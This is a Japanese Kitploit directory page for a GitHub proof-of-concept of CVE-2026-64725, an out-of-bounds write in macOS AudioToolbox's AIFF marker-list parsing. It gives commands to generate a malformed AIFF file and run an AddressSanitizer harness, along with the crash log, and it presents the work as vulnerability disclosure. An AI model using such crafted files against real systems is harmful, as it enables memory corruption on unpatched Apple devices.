Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-64725-poc — CVE-2026-64725 の PoC | Kitploit
ツール/GitHubGitHub/altvist/cve-2026-64725-poc
脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

CVE-2026-64725 の PoC

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

リポジトリの内容は?

CVE-2026-64725 の PoC です。詳細はソースコードとブログ記事をご覧ください。

再現するには?

プラットフォーム

macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)) で確認されました。

Apple は、macOS/iOS/iPadOS < 26.6 が影響を受けることを確認しています。

PoC

  1. お使いの Mac が最新の macOS を実行していることを確認してください。

  2. Python 3.6+ と clang がインストールされていることを確認してください。

  3. リポジトリを Mac へクローンしてください。

  4. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) の signed-shift バグを引き起こす最小限の不正な AIFF を生成します:

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    または

    root@kitploit:~
    cd poc/
    make aiff
    

    結果として、marker_oob.aiff が生成されます。

  5. ASan 付きの最小の PoC ハーネスをビルドします:

    root@kitploit:~
    make 
    
ツールをダウンロード

結果として、marker_oob_harness が生成されます。

PoC の実行

root@kitploit:~
./marker_oob_harness marker_oob.aiff

次のような出力が表示されるはずです。

root@kitploit:~
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

何が起きたのか?

要するに:

  1. marker_oob_harness は、文書化された公開 API AudioFileOpenURL(...) を呼び出して marker_oob.aiff を開きました。

  2. marker_oob_harness は、マーカー用の固定長出力バッファを確保するために calloc を呼び出しました(これは最良の方法ではありませんが、実際の現場ではよく見られます。より安全な GetMarkerListSize コードパターンについては、後述の「安全なケース」/「GetMarkerListSize → malloc(size) → GetMarkerList」で説明しています)。

  3. marker_oob_harness は、inPropertyID=kAudioFilePropertyMarkerList を指定して、文書化された公開 API AudioFileGetProperty(...) を呼び出し、マーカーのリストを取得しようとしました。出力バッファサイズとバッファへのポインタを含むすべての引数は正しいものでした。

  4. AudioFileGetProperty(...) は、内部で未文書化 API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) を呼び出しました。

  5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) は(正しい!)出力バッファサイズを誤って解釈し、marker_oob.aiff のバイト列をバッファの末尾を超えて書き込んだため、ASan のクラッシュメッセージが表示されたのです。期待される正しい動作は、バッファが小さすぎるエラーなどを返すことでした。

バッファの末尾を超えて書き込まれるバイト数は、ファイルサイズに依存します。悪意のある .aiff ファイルは、ファイルが十分に大きければ、あらゆる適切なサイズのバッファをオーバーフローさせることができます。

詳細はブログ記事をご覧ください。